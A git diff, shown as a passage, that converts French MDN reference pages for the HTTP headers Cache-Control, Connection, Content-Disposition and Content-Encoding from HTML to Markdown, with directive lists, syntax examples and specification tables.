+Pour être valables, les directives de mise en cache doivent respecter les règles suivante : -
    -
  • Il est recommandé de ne pas faire de distinction entre les majuscules et les minuscules..
    • -
  • Les directives multiples sont séparées par des virgules.
    • -
  • Certaines directives ont un argument optionnel, qui peut être soit un jeton, soit une chaîne de caractères entre guillemets. (Voir les spécifications pour les définitions)
    • -
+- Il est recommandé de ne pas faire de distinction entre les majuscules et les minuscules.. +- Les directives multiples sont séparées par des virgules. +- Certaines directives ont un argument optionnel, qui peut être soit un _jeton_, soit une chaîne de caractères entre guillemets. (Voir les spécifications pour les définitions) -

Règles de cache des requêtes

+### Règles de cache des requêtes -

Les règles standard Cache-Control suivantes peuvent être utilisées par un client HTTP dans une requête :

+Les règles standard `Cache-Control` suivantes peuvent être utilisées par un client HTTP dans une requête : -
Cache-Control: max-age=<seconds>
-Cache-Control: max-stale[=<seconds>]
-Cache-Control: min-fresh=<seconds>
-Cache-Control: no-cache
-Cache-Control: no-store
-Cache-Control: no-transform
-Cache-Control: only-if-cached
-
+ Cache-Control: max-age= + Cache-Control: max-stale[=] + Cache-Control: min-fresh= + Cache-Control: no-cache + Cache-Control: no-store + Cache-Control: no-transform + Cache-Control: only-if-cached + +### Règles de cache des réponses + +Les règles standard `Cache-Control` suivantes peuvent être utilisées par un serveur HTTP dans une réponse : + + Cache-Control: must-revalidate + Cache-Control: no-cache + Cache-Control: no-store + Cache-Control: no-transform + Cache-Control: public + Cache-Control: private + Cache-Control: proxy-revalidate + Cache-Control: max-age= + Cache-Control: s-maxage= + +### Extensions de `Cache-Control` + +Les directives Extension `Cache-Control` ne font pas partie du document sur les normes de base de la mise en cache HTTP. Vérifiez leur prise en charge dans la [table de compatibilité](#Browser_compatibility) ; les agents-utilisateurs qui ne les reconnaissent pas doivent les ignorer. + + Cache-Control: immutable + Cache-Control: stale-while-revalidate= + Cache-Control: stale-if-error= + +## Directives + +### Possibilité de mise en cache + +Une réponse est normalement mise en cache par le navigateur si + +- il a un code de statut de [`301`](/fr/docs/Web/HTTP/Status/301), [`302`](/fr/docs/Web/HTTP/Status/302), [`307`](/fr/docs/Web/HTTP/Status/307), [`308`](/fr/docs/Web/HTTP/Status/308), or [`410`](/fr/docs/Web/HTTP/Status/410) **et** +- `Cache-Control` n'a pas de `no-store`, ou _s'il s'agit d'un mandataire_, il n'a pas d'adresse `privée` **et** +- [`Authorization`](/fr/docs/Web/HTTP/Headers/Authorization) n'est pas fixée +- soit + + - a un code de statut de [`301`](/fr/docs/Web/HTTP/Status/301), [`302`](/fr/docs/Web/HTTP/Status/302), [`307`](/fr/docs/Web/HTTP/Status/307), [`308`](/fr/docs/Web/HTTP/Status/308), ou [`410`](/fr/docs/Web/HTTP/Status/410) **ou** + - a un `public`, `max-age` ou `s-maxage` dans `Cache-Control` **ou** + - a [`Expires`](/fr/docs/Web/HTTP/Headers/Expires) fixé + + + +- `public` + - : Indique que la réponse peut être mise en cache par n'importe quel cache. +- `private` + - : Indique que la réponse ne doit être mise en cache que pour un utilisateur donné et ne doit donc pas être mise en cache par un cache partagé. +- `no-cache` + - : Indique de renvoyer systématiquement la requête au serveur et ne servir une éventuelle version en cache que dans le cas où le serveur le demande. +- `no-store` + - : La réponse **ne** peut être stockée dans _aucune_ mémoire cache. Bien que d'autres directives puissent être définies, C'est la seule directive dont vous avez besoin pour empêcher le réponses en cache sur les navigateurs modernes. `max-age=0` **est déjà implicite**. **La définition de la directive** `must-revalidate` **n'a pas de sens** car pour passer la revalidation, vous devez stocker la réponse dans un cache, ce que n'empêche `no-store`.**Ne pas copier-coller les spécifications Internet-Explorer** `pre-check=0,post-check=0` Si vous le voyez en ligne car il est entièrement ignoré, ce que confirme le [tweet du développeur Edge](https://twitter.com/ericlaw/status/685201170260819968). + +### Expiration + +- `max-age=` + - : Indique la durée pendant laquelle la ressource doit être considérée comme valide (non expirée). Contrairement à `expires`, la durée indiquée dans cette directive commence à la date de la requête. +- `s-maxage=` + - : Indique une valeur pour écraser les valeurs définies par `max-age` ou `Expires` pour les caches partagés (comme les proxies). Il est donc ignoré par les caches privés (dont les navigateurs). +- `max-stale[=]` + - : Indique que le client accepte une réponse expirée. Une valeur optionnelle permet d'indiquer la durée maximale depuis laquelle la réponse peut être expirée mais acceptée quand même. +- `min-fresh=` + - : Indique que le client demande une réponse qui soit valide pour au moins la durée demandée (dont la date d'expiration est supérieure à la date actuelle plus la durée spécifiée). +- `stale-while-revalidate=` {{experimental_inline}} + - : Indique au cache de renvoyer les données en cache même si elles sont expirée depuis une durée inférieure à la durée spécifiée dans l'en-tête. Dans ce cas, le cache doit renvoyer la requête au serveur pour rafraîchir les données. +- `stale-if-error=` {{experimental_inline}} + - : Indique au cache de renvoyer les données en cache s'il y a une erreur pendant la récupération des données auprès du serveur et que la version en cache est expirée depuis une durée inférieure à celle spécifiée dans l'en-tête. -

Règles de cache des réponses

+### Revalidation et rechargement -

Les règles standard Cache-Control suivantes peuvent être utilisées par un serveur HTTP dans une réponse :

+- `must-revalidate` + - : Le cache doit refaire une requête dans le cas où les données sont expirées afin de les mettre à jour s'il y a lieu (il reste parfaitement possible que le serveur réponde avec les mêmes données). +- `proxy-revalidate` + - : Comme pour `must-revalidate`, mais force la valeur pour les caches partagés. Cette valeur est ignorée par les caches locaux. +- `immutable` + - : Indique que les données renvoyées peuvent être servies même si elles sont expirées sans aucune validation et même si le client fait une demande explicite de rafraîchissement. Cette option est a priori uniquement adaptée si les contenus ne sont jamais modifiés mais toujours stockés à une URI différente (par exemple en utilisant un hash du contenu). Les clients qui ne gèrent pas cette directive l'ignorent. Dans le cas de Firefox, cette option est aussi ignorée pour les contenus qui ne sont pas servis en HTTPS. Pour plus d'informations, on pourra se référer à [un blog en anglais](http://bitsup.blogspot.de/2016/05/cache-control-immutable.html). -
Cache-Control: must-revalidate
-Cache-Control: no-cache
+### Autres
+
+- `no-transform`
+  - : Aucune conversion ou transformation ne devraient être réalisée sur la ressource. Ainsi, les en-tête `Content-Encoding`, `Content-Range` et `Content-Type` ne devraient jamais être modifiés par un proxy (serveur mandataire). Un proxy non-transparent pourrait, en l'absence de cet en-tête, convertir ou compresser (avec pertes) des images pour réduire la place occupée en cache ou diminuer le volume de données à transférer sur un lien lent.
+- `only-if-cached`
+  - : Réglé par le _client_ pour indiquer "ne pas utiliser le réseau" pour la réponse. Le cache doit soit répondre en utilisant une réponse stockée, soit répondre avec un code d'état [`504`](/fr/docs/Web/HTTP/Status/504). Les en-têtes conditionnels tels que `If-None-Match` ne doivent pas être définis. Il n'y a aucun effet si `only-if-cached` est défini par un serveur dans le cadre d'une réponse.
+
+## Exemples
+
+### Prévention de la mise en cache
+
+Pour désactiver la mise en cache, vous pouvez envoyer l'en-tête de réponse suivant. En outre, voir aussi les en-têtes `Expires` et `Pragma`.
+
+```plain example-good
 Cache-Control: no-store
-Cache-Control: no-transform
-Cache-Control: public
-Cache-Control: private
-Cache-Control: proxy-revalidate
-Cache-Control: max-age=<seconds>
-Cache-Control: s-maxage=<seconds>
-
- -

Extensions de Cache-Control

- -

Les directives Extension Cache-Control ne font pas partie du document sur les normes de base de la mise en cache HTTP. Vérifiez leur prise en charge dans la table de compatibilité ; les agents-utilisateurs qui ne les reconnaissent pas doivent les ignorer.

- -
Cache-Control: immutable
-Cache-Control: stale-while-revalidate=<seconds>
-Cache-Control: stale-if-error=<seconds>
-
- -

Directives

- -

Possibilité de mise en cache

- -

Une réponse est normalement mise en cache par le navigateur si

- -
    -
  • il a un code de statut de 301, 302, 307, 308, or 410 et
    • -
  • Cache-Control n'a pas de no-store, ou s'il s'agit d'un mandataire, il n'a pas d'adresse privée et
    • -
  • Authorization n'est pas fixée
    • -
  • soit -
      -
    • a un code de statut de 301, 302, 307, 308, ou 410 ou
      • -
    • a un public, max-age ou s-maxage dans Cache-Control ou
      • -
    • a Expires fixé
      • -
    -
    • -
- -
-
public
-
Indique que la réponse peut être mise en cache par n'importe quel cache.
-
private
-
Indique que la réponse ne doit être mise en cache que pour un utilisateur donné et ne doit donc pas être mise en cache par un cache partagé.
-
no-cache
-
Indique de renvoyer systématiquement la requête au serveur et ne servir une éventuelle version en cache que dans le cas où le serveur le demande.
-
no-store
-

La réponse ne peut être stockée dans aucune mémoire cache. Bien que d'autres directives puissent être définies, C'est la seule directive dont vous avez besoin pour empêcher le réponses en cache sur les navigateurs modernes. max-age=0 est déjà implicite. La définition de la directive must-revalidate n'a pas de sens car pour passer la revalidation, vous devez stocker la réponse dans un cache, ce que n'empêche no-store.Ne pas copier-coller les spécifications Internet-Explorer pre-check=0,post-check=0 Si vous le voyez en ligne car il est entièrement ignoré, ce que confirme le tweet du développeur Edge.

-
- -

Expiration

- -
-
max-age=<secondes>
-
Indique la durée pendant laquelle la ressource doit être considérée comme valide (non expirée). Contrairement à expires, la durée indiquée dans cette directive commence à la date de la requête.
-
s-maxage=<secondes>
-
Indique une valeur pour écraser les valeurs définies par max-age ou Expires pour les caches partagés (comme les proxies). Il est donc ignoré par les caches privés (dont les navigateurs).
-
max-stale[=<secondes>]
-
Indique que le client accepte une réponse expirée. Une valeur optionnelle permet d'indiquer la durée maximale depuis laquelle la réponse peut être expirée mais acceptée quand même.
-
min-fresh=<secondes>
-
Indique que le client demande une réponse qui soit valide pour au moins la durée demandée (dont la date d'expiration est supérieure à la date actuelle plus la durée spécifiée).
-
stale-while-revalidate=<secondes> {{experimental_inline}}
-
Indique au cache de renvoyer les données en cache même si elles sont expirée depuis une durée inférieure à la durée spécifiée dans l'en-tête. Dans ce cas, le cache doit renvoyer la requête au serveur pour rafraîchir les données.
-
stale-if-error=<secondes> {{experimental_inline}}
-
Indique au cache de renvoyer les données en cache s'il y a une erreur pendant la récupération des données auprès du serveur et que la version en cache est expirée depuis une durée inférieure à celle spécifiée dans l'en-tête.
-
- -

Revalidation et rechargement

- -
-
must-revalidate
-
Le cache doit refaire une requête dans le cas où les données sont expirées afin de les mettre à jour s'il y a lieu (il reste parfaitement possible que le serveur réponde avec les mêmes données).
-
proxy-revalidate
-
Comme pour must-revalidate, mais force la valeur pour les caches partagés. Cette valeur est ignorée par les caches locaux.
-
immutable
-
Indique que les données renvoyées peuvent être servies même si elles sont expirées sans aucune validation et même si le client fait une demande explicite de rafraîchissement. Cette option est a priori uniquement adaptée si les contenus ne sont jamais modifiés mais toujours stockés à une URI différente (par exemple en utilisant un hash du contenu). Les clients qui ne gèrent pas cette directive l'ignorent. Dans le cas de Firefox, cette option est aussi ignorée pour les contenus qui ne sont pas servis en HTTPS. Pour plus d'informations, on pourra se référer à un blog en anglais.
-
- -

Autres

- -
-
no-transform
-
Aucune conversion ou transformation ne devraient être réalisée sur la ressource. Ainsi, les en-tête Content-Encoding, Content-Range et Content-Type ne devraient jamais être modifiés par un proxy (serveur mandataire). Un proxy non-transparent pourrait, en l'absence de cet en-tête, convertir ou compresser (avec pertes) des images pour réduire la place occupée en cache ou diminuer le volume de données à transférer sur un lien lent.
-
only-if-cached
-
Réglé par le client pour indiquer "ne pas utiliser le réseau" pour la réponse. Le cache doit soit répondre en utilisant une réponse stockée, soit répondre avec un code d'état 504. Les en-têtes conditionnels tels que If-None-Match ne doivent pas être définis. Il n'y a aucun effet si only-if-cached est défini par un serveur dans le cadre d'une réponse.
-
- -

Exemples

- -

Prévention de la mise en cache

- -

Pour désactiver la mise en cache, vous pouvez envoyer l'en-tête de réponse suivant. En outre, voir aussi les en-têtes Expires et Pragma.

- -
Cache-Control: no-store
-
- -
Cache-Control: private,no-cache,no-store,max-age=0,must-revalidate,pre-check=0,post-check=0
-
- -

Mise en cache d'actifs statiques

- -

Pour les fichiers de l'application qui ne seront pas modifiés, vous pouvez généralement ajouter une mise en cache agressive en envoyant l'en-tête de réponse ci-dessous. Cela inclut les fichiers statiques qui sont servis par l'application comme les images, les fichiers CSS et les fichiers JavaScript, par exemple. En outre, voir l'en-tête Expires.

- -
Cache-Control: public, max-age=604800, immutable
-
- -

Nécessitant une revalidation

- -

Le fait de spécifier no-cache ou max-age=0 indique que les clients peuvent mettre une ressource en cache et doivent la revalider à chaque fois avant de l'utiliser. Cela signifie que la requête HTTP se produit à chaque fois, mais qu'elle peut sauter le téléchargement du corps HTTP si le contenu est valide.

- -
Cache-Control: no-cache
-Cache-Control: no-cache, max-age=0
-Cache-Control: no-cache, max-age=0, stale-while-revalidate=300
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{RFC(8246, "HTTP Immutable Responses")}}IETF RFC
{{RFC(7234, "Hypertext Transfer Protocol (HTTP/1.1): Caching")}}IETF RFC
{{RFC(5861, "HTTP Cache-Control Extensions for Stale Content")}}IETF RFCInitial definition
+``` + +```plain example-bad +Cache-Control: private,no-cache,no-store,max-age=0,must-revalidate,pre-check=0,post-check=0 +``` + +### Mise en cache d'actifs statiques + +Pour les fichiers de l'application qui ne seront pas modifiés, vous pouvez généralement ajouter une mise en cache agressive en envoyant l'en-tête de réponse ci-dessous. Cela inclut les fichiers statiques qui sont servis par l'application comme les images, les fichiers CSS et les fichiers JavaScript, par exemple. En outre, voir l'en-tête `Expires`. + + Cache-Control: public, max-age=604800, immutable + +### Nécessitant une revalidation + +Le fait de spécifier no-cache ou `max-age=0` indique que les clients peuvent mettre une ressource en cache et doivent la revalider à chaque fois avant de l'utiliser. Cela signifie que la requête HTTP se produit à chaque fois, mais qu'elle peut sauter le téléchargement du corps HTTP si le contenu est valide. + + Cache-Control: no-cache + Cache-Control: no-cache, max-age=0 + Cache-Control: no-cache, max-age=0, stale-while-revalidate=300 + +## Spécifications + +| Specification | Status | Comment | +| ------------------------------------------------------------------------------------ | -------- | ------------------ | +| {{RFC(8246, "HTTP Immutable Responses")}} | IETF RFC | | +| {{RFC(7234, "Hypertext Transfer Protocol (HTTP/1.1): Caching")}} | IETF RFC | | +| {{RFC(5861, "HTTP Cache-Control Extensions for Stale Content")}} | IETF RFC | Initial definition | -

Compatibilité avec les navigateurs

+## Compatibilité avec les navigateurs -

{{Compat("http.headers.Cache-Control")}}

+{{Compat("http.headers.Cache-Control")}} -

Voir aussi

+## Voir aussi - +- [HTTP Caching FAQ](/fr/docs/Web/HTTP/Caching_FAQ) +- [Caching Tutorial for Web Authors and Webmasters](https://www.mnot.net/cache_docs/) +- Guide: _[`Cache-Control` for civilians](https://csswizardry.com/2019/03/cache-control-for-civilians)_ +- {{HTTPHeader("Age")}} +- {{HTTPHeader("Expires")}} +- {{HTTPHeader("Pragma")}} diff --git a/files/fr/web/http/headers/connection/index.md b/files/fr/web/http/headers/connection/index.md index 3ea2071137..399f43f1ce 100644 --- a/files/fr/web/http/headers/connection/index.md +++ b/files/fr/web/http/headers/connection/index.md @@ -8,44 +8,43 @@ tags: - en-tête translation_of: Web/HTTP/Headers/Connection --- -
{{HTTPSidebar}}
+{{HTTPSidebar}} -

L'en-tête général Connection contrôle la façon dont la connexion reste ouverte ou non après que la transaction courante soit terminée. Si la valeur envoyée est keep-alive, la connexion est persistente et n'est pas fermée, permettant aux requêtes qui suivent et s'adressent au même serveur d'être envoyées.

+L'en-tête général **`Connection`** contrôle la façon dont la connexion reste ouverte ou non après que la transaction courante soit terminée. Si la valeur envoyée est `keep-alive`, la connexion est persistente et n'est pas fermée, permettant aux requêtes qui suivent et s'adressent au même serveur d'être envoyées. -
-

Note :Les champs d'en-tête spécifiques à la connexion (tels que Connection) ne doivent pas être utilisés avec HTTP/2.

-
+> **Note :**[Les champs d'en-tête spécifiques à la connexion (tels que `Connection`) ne doivent pas être utilisés avec HTTP/2.](https://tools.ietf.org/html/rfc7540#section-8.1.2.2) -

Except for the standard hop-by-hop headers ({{HTTPHeader("Keep-Alive")}}, {{HTTPHeader("Transfer-Encoding")}}, {{HTTPHeader("TE")}}, {{HTTPHeader("Connection")}}, {{HTTPHeader("Trailer")}}, {{HTTPHeader("Upgrade")}}, {{HTTPHeader("Proxy-Authorization")}} and {{HTTPHeader("Proxy-Authenticate")}}), any hop-by-hop headers used by the message must be listed in the Connection header, so that the first proxy knows it has to consume them and not forward them further. Standard hop-by-hop headers can be listed too (it is often the case of {{HTTPHeader("Keep-Alive")}}, but this is not mandatory).

+Except for the standard hop-by-hop headers ({{HTTPHeader("Keep-Alive")}}, {{HTTPHeader("Transfer-Encoding")}}, {{HTTPHeader("TE")}}, {{HTTPHeader("Connection")}}, {{HTTPHeader("Trailer")}}, {{HTTPHeader("Upgrade")}}, {{HTTPHeader("Proxy-Authorization")}} and {{HTTPHeader("Proxy-Authenticate")}}), any hop-by-hop headers used by the message must be listed in the `Connection` header, so that the first proxy knows it has to consume them and not forward them further. Standard hop-by-hop headers can be listed too (it is often the case of {{HTTPHeader("Keep-Alive")}}, but this is not mandatory). - - - - - - - - - - + + + + + + + + + +
Type d'en-têteEn-tête général
Nom d'en-tête interditOui
Type d'en-têteEn-tête général
+ Nom d'en-tête interdit + Oui
-

Syntaxe

+## Syntaxe -
Connection: keep-alive
-Connection: close
-
+ Connection: keep-alive + Connection: close -

Directives

+## Directives -
-
close
-
Indique que le client ou que le serveur souhaite fermer la connexion. C'est la valeur par défaut pour les requêtes en HTTP/1.0.
-
Une liste d'en-têtes HTTP séparés par des virgules (généralement, la valeur keep-alive seule)
-
Indique que le client souhaite que la connexion reste ouverte. Une connexion persistente est le comportement par défaut pour les requêtes HTTP/1.1. La liste des en-têtes sont le nom des en-têtes à retirer par le premier proxy ou cache non-transparent entre le client et le serveur : ces en-tête définissent la connexion entre l'émetteur et la première entité (pas jusqu'au nœud de destination).
-
+- `close` + - : Indique que le client ou que le serveur souhaite fermer la connexion. C'est la valeur par défaut pour les requêtes en HTTP/1.0. +- Une liste d'en-têtes HTTP séparés par des virgules (généralement, la valeur `keep-alive` seule) + - : Indique que le client souhaite que la connexion reste ouverte. Une connexion persistente est le comportement par défaut pour les requêtes HTTP/1.1. La liste des en-têtes sont le nom des en-têtes à retirer par le premier proxy ou cache non-transparent entre le client et le serveur : ces en-tête définissent la connexion entre l'émetteur et la première entité (pas jusqu'au nœud de destination). -

Compatibilité des navigateurs

+## Compatibilité des navigateurs -

{{Compat("http.headers.Connection")}}

+{{Compat("http.headers.Connection")}} diff --git a/files/fr/web/http/headers/content-disposition/index.md b/files/fr/web/http/headers/content-disposition/index.md index 1dffadd807..2844fbef41 100644 --- a/files/fr/web/http/headers/content-disposition/index.md +++ b/files/fr/web/http/headers/content-disposition/index.md @@ -7,139 +7,123 @@ tags: - header translation_of: Web/HTTP/Headers/Content-Disposition --- -
{{HTTPSidebar}}
+{{HTTPSidebar}} -

Dans une réponse HTTP régulière, l'en-tête de réponse Content-Disposition est un en-tête indiquant si le contenu devrait être affiché en ligne dans le navigateur, c'est-à-dire en tant que page Web, dans une page Web ou en pièce jointe qui sera téléchargé et enregistré localement.

+Dans une réponse HTTP régulière, l'en-tête de réponse `Content-Disposition` est un en-tête indiquant si le contenu devrait être affiché en ligne dans le navigateur, c'est-à-dire en tant que page Web, dans une page Web ou en pièce jointe qui sera téléchargé et enregistré localement. -

Dans un corps multipart / form-data, l'en-tête général HTTP Content-Disposition est un en-tête qui peut être utilisé sur la sous-partie d'un corps multipart pour donner des informations sur le champ auquel il s'applique. La sous-partie est délimitée par la limite boundary définie dans l'en-tête {{HTTPHeader ("Content-Type")}}. Utilisé sur le corps même, Content-Disposition n'a aucun effet.

+Dans un corps `multipart / form-data`, l'en-tête général HTTP Content-Disposition est un en-tête qui peut être utilisé sur la sous-partie d'un corps multipart pour donner des informations sur le champ auquel il s'applique. La sous-partie est délimitée par la limite `boundary` définie dans l'en-tête {{HTTPHeader ("Content-Type")}}. Utilisé sur le corps même, `Content-Disposition `n'a aucun effet. -

L'en-tête Content-Disposition est défini dans le contexte plus large des messages MIME pour le courrier électronique, mais seul un sous-ensemble des paramètres possibles s'applique aux formulaires HTTP et {{HTTPMethod ("POST")}}. Seules les données de forme de valeur, ainsi que le nom de la directive optionnelle et le nom de fichier, peuvent être utilisés dans le contexte HTTP.

+L'en-tête `Content-Disposition` est défini dans le contexte plus large des messages MIME pour le courrier électronique, mais seul un sous-ensemble des paramètres possibles s'applique aux formulaires HTTP et {{HTTPMethod ("POST")}}. Seules les données de forme de valeur, ainsi que le nom de la directive optionnelle et le nom de fichier, peuvent être utilisés dans le contexte HTTP. - - - - - + + + + +
- - - - - - - - - - - -
Type d'en-tête{{Glossary("Response header")}} (pour le corps principal)
- {{Glossary("General header")}} (pour une sous-partie d'un corps à plusieurs parties)
{{Glossary("Forbidden header name")}}Non
-
+ + + + + + + + + + + +
Type d'en-tête + {{Glossary("Response header")}} (pour le corps + principal)
{{Glossary("General header")}} (pour + une sous-partie d'un corps à plusieurs parties) +
+ {{Glossary("Forbidden header name")}} + Non
+
-

Syntaxe

+## Syntaxe -

En tant qu'entête de réponse pour le corps principal 

+### En tant qu'entête de réponse pour le corps principal  -

Le premier paramètre dans le contexte HTTP est en ligne (valeur par défaut, indiquant qu'il peut être affiché à l'intérieur de la page Web ou en tant que page Web) ou pièce jointe (en indiquant qu'il devrait être téléchargé), la plupart des navigateurs présentant une boîte de dialogue "Enregistrer sous" Avec la valeur des paramètres du nom de
- fichier si présent.

+Le premier paramètre dans le contexte HTTP est en ligne (valeur par défaut, indiquant qu'il peut être affiché à l'intérieur de la page Web ou en tant que page Web) ou pièce jointe (en indiquant qu'il devrait être téléchargé), la plupart des navigateurs présentant une boîte de dialogue "Enregistrer sous" Avec la valeur des paramètres du nom de +fichier si présent. -
Content-Disposition: inline
-Content-Disposition: attachment
-Content-Disposition: attachment; filename="filename.jpg"
+ Content-Disposition: inline + Content-Disposition: attachment + Content-Disposition: attachment; filename="filename.jpg" -

En tant qu'en-tête pour un corps à plusieurs parties 

+### En tant qu'en-tête pour un corps à plusieurs parties  -

Le premier paramètre dans le contexte HTTP est toujours une donnée de forme. Les paramètres supplémentaires sont insensibles à la casse et ont des arguments, qui utilisent la syntaxe de chaîne cité après le signe '='. Les paramètres multiples sont
- séparés par un point-virgule (';').

+Le premier paramètre dans le contexte HTTP est toujours une donnée de forme. Les paramètres supplémentaires sont insensibles à la casse et ont des arguments, qui utilisent la syntaxe de chaîne cité après le signe '='. Les paramètres multiples sont +séparés par un point-virgule (';'). -
Content-Disposition: form-data Content-Disposition: form-data;
-name="fieldName" Content-Disposition: form-data;
-name="fieldName"; filename="filename.jpg"
+ Content-Disposition: form-data Content-Disposition: form-data; + name="fieldName" Content-Disposition: form-data; + name="fieldName"; filename="filename.jpg" -

Directives

+## Directives -

<name>
- Est suivie d'une chaîne contenant le nom du champ HTML dans la forme dont le contenu de cette sous-partie se réfère. Lorsqu'il s'agit de plusieurs fichiers dans le même champ (par exemple, l'attribut {{htmlattrxref("multiple", "input")}} d'un {{HTMLElement("input","<input type=file>")}} element), il peut y avoir plusieurs sous-parties portant le même nom.

+`` +Est suivie d'une chaîne contenant le nom du champ HTML dans la forme dont le contenu de cette sous-partie se réfère. Lorsqu'il s'agit de plusieurs fichiers dans le même champ (par exemple, l'attribut {{htmlattrxref("multiple", "input")}} d'un {{HTMLElement("input","<input type=file>")}} element), il peut y avoir plusieurs sous-parties portant le même nom. -

Un name avec une valeur de '_charset_' indique que la partie n'est pas un champ HTML, mais le jeu de caractères par défaut à utiliser pour les pièces sans informations de charset explicites.

+Un `name` avec une valeur de `'_charset_'` indique que la partie n'est pas un champ HTML, mais le jeu de caractères par défaut à utiliser pour les pièces sans informations de charset explicites. -

<filename>
- Est suivi d'une chaîne contenant le nom d'origine du fichier transmis. Le nom de fichier est toujours facultatif et ne doit pas être utilisé aveuglément par l'application: l'information du chemin doit être rayée et la conversion aux règles du système de fichiers du serveur doit être effectuée. Ce paramètre fournit principalement des informations indicatives. Lorsqu'il est utilisé en combinaison avec Content-Disposition: attachement, il est utilisé comme nom de fichier par défaut pour une éventuelle boîte de dialogue "Enregistrer sous" présentée à l'utilisateur.

+`` +Est suivi d'une chaîne contenant le nom d'origine du fichier transmis. Le nom de fichier est toujours facultatif et ne doit pas être utilisé aveuglément par l'application: l'information du chemin doit être rayée et la conversion aux règles du système de fichiers du serveur doit être effectuée. Ce paramètre fournit principalement des informations indicatives. Lorsqu'il est utilisé en combinaison avec `Content-Disposition: attachement`, il est utilisé comme nom de fichier par défaut pour une éventuelle boîte de dialogue "Enregistrer sous" présentée à l'utilisateur. -

<filename*>
- Les paramètres filename et filename* diffèrent uniquement en ce que filename* utilise l'encodage défini dans la RFC 5987. Lorsque filename et filename* sont présents dans une seule valeur de champ d'en-tête, filename* est préféré à filename lorsque les deux sont présents et compris.

+`` +Les paramètres `filename` et `filename*` diffèrent uniquement en ce que `filename*` utilise l'encodage défini dans la RFC 5987. Lorsque `filename` et `filename*` sont présents dans une seule valeur de champ d'en-tête, `filename*` est préféré à `filename` lorsque les deux sont présents et compris. -

Exemples

+## Exemples -

Une réponse déclanchant le dialogue "Enregistrer sous":

+Une réponse déclanchant le dialogue "Enregistrer sous": -
200 OK
+```html
+200 OK
 Content-Type: text/html; charset=utf-8
 Content-Disposition: attachment; filename="cool.html"
 Content-Length: 22
 
-<HTML>Enregistrez-moi !</HTML>
-
- -

Ce fichier HTML simple sera sauvegardé en tant que téléchargement régulier plutôt que dans le navigateur. La plupart des navigateurs proposeront de l'enregistrer sous le nom de fichier cool.html (par défaut).

- -

Un exemple de formulaire HTML, publié à l'aide du format multipart / form-data qui utilise l'en-tête Content-Disposition:

- -
POST /test.html HTTP/1.1
-Host: example.org
-Content-Type: multipart/form-data;boundary="boundary"
-
---boundary
-Content-Disposition: form-data; name="field1"
-
-value1
---boundary
-Content-Disposition: form-data; name="field2"; filename="example.txt"
-
-value2
---boundary--
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - -
SpécificationTitre
{{RFC("7578")}}
- Retour des valeurs à partir des formulaires: multipart / form-data
{{RFC("6266")}}
- Utilisation du champ Header Content-Disposition dans le protocole de transfert hypertexte (HTTP)
{{RFC("2183")}}
- Communiquer des informations de présentation dans les messages Internet: le champ de l'en-tête de disposition de contenu
+Enregistrez-moi ! +``` + +Ce fichier HTML simple sera sauvegardé en tant que téléchargement régulier plutôt que dans le navigateur. La plupart des navigateurs proposeront de l'enregistrer sous le nom de fichier `cool.html` (par défaut). + +Un exemple de formulaire HTML, publié à l'aide du format `multipart / form-data` qui utilise l'en-tête `Content-Disposition`: + + POST /test.html HTTP/1.1 + Host: example.org + Content-Type: multipart/form-data;boundary="boundary" + + --boundary + Content-Disposition: form-data; name="field1" + + value1 + --boundary + Content-Disposition: form-data; name="field2"; filename="example.txt" + + value2 + --boundary-- + +## Spécifications + +| Spécification | Titre | +| -------------------- | ------------------------------------------------------------------------------------------------------------------------ | +| {{RFC("7578")}} | Retour des valeurs à partir des formulaires: multipart / form-data | +| {{RFC("6266")}} | Utilisation du champ Header Content-Disposition dans le protocole de transfert hypertexte (HTTP) | +| {{RFC("2183")}} | Communiquer des informations de présentation dans les messages Internet: le champ de l'en-tête de disposition de contenu | -

Compatibilité des navigateurs

+## Compatibilité des navigateurs -

{{Compat("http/headers/content-disposition")}}

+{{Compat("http/headers/content-disposition")}} -

Notes de compatibilité

+## Notes de compatibilité -
    -
  • Firefox 5 gère l'en-tête de réponse HTTP Content-Disposition plus efficacement si les deux paramètres du nom de fichier et du nom de fichier sont fournis. Il examine tous les noms fournis, en utilisant le paramètre * du nom de fichier, s'il est disponible, même si un paramètre de nom de fichier est inclus en premier. Auparavant, le premier paramètre correspondant serait utilisé, empêchant ainsi un nom plus approprié d'être utilisé. Voir {{bug (588781)}}.
    • -
+- Firefox 5 gère l'en-tête de réponse HTTP `Content-Disposition` plus efficacement si les deux paramètres du nom de fichier et du nom de fichier sont fournis. Il examine tous les noms fournis, en utilisant le paramètre \* du nom de fichier, s'il est disponible, même si un paramètre de nom de fichier est inclus en premier. Auparavant, le premier paramètre correspondant serait utilisé, empêchant ainsi un nom plus approprié d'être utilisé. Voir {{bug (588781)}}. -

Voir également

+## Voir également -
    -
  • HTML Forms
    • -
  • {{HTTPHeader("Content-Type")}} définissant la limite du corps multipartie.
    • -
  • L'interface {{domxref("FormData")}} utilisée pour manipuler les données de formulaire à utiliser dans l'API {{domxref("XMLHttpRequest")}}.
    • -
+- [HTML Forms](/en-US/docs/Web/Guide/HTML/Forms) +- {{HTTPHeader("Content-Type")}} définissant la limite du corps multipartie. +- L'interface {{domxref("FormData")}} utilisée pour manipuler les données de formulaire à utiliser dans l'API {{domxref("XMLHttpRequest")}}. diff --git a/files/fr/web/http/headers/content-encoding/index.md b/files/fr/web/http/headers/content-encoding/index.md index 3d52ddfac5..50592fde0f 100644 --- a/files/fr/web/http/headers/content-encoding/index.md +++ b/files/fr/web/http/headers/content-encoding/index.md @@ -7,99 +7,81 @@ tags: - Reference translation_of: Web/HTTP/Headers/Content-Encoding --- -
{{HTTPSidebar}}
+{{HTTPSidebar}} -

L'en-tête Content-Encoding indique la compression utilisée sur le média contenu dans le corps de la requête. Il permet au client de savoir comment décoder le contenu afin d'obtenir le type de média référencé par l'entête Content-Type.

+L'en-tête **`Content-Encoding`** indique la compression utilisée sur le média contenu dans le corps de la requête. Il permet au client de savoir comment décoder le contenu afin d'obtenir le type de média référencé par l'entête `Content-Type`. -

Il est recommandé de compresser les données autant que possible et donc d'utiliser cet en-tête. Toutefois, certains types de fichiers, comme les images jpeg, sont déjà compressés. Parfois, l'utilisation d'une compression supplémentaire ne réduit pas la taille de la chage utile et peut même la rendre plus longue.

+Il est recommandé de compresser les données autant que possible et donc d'utiliser cet en-tête. Toutefois, certains types de fichiers, comme les images jpeg, sont déjà compressés. Parfois, l'utilisation d'une compression supplémentaire ne réduit pas la taille de la chage utile et peut même la rendre plus longue. - - - - - - - - - - + + + + + + + + + +
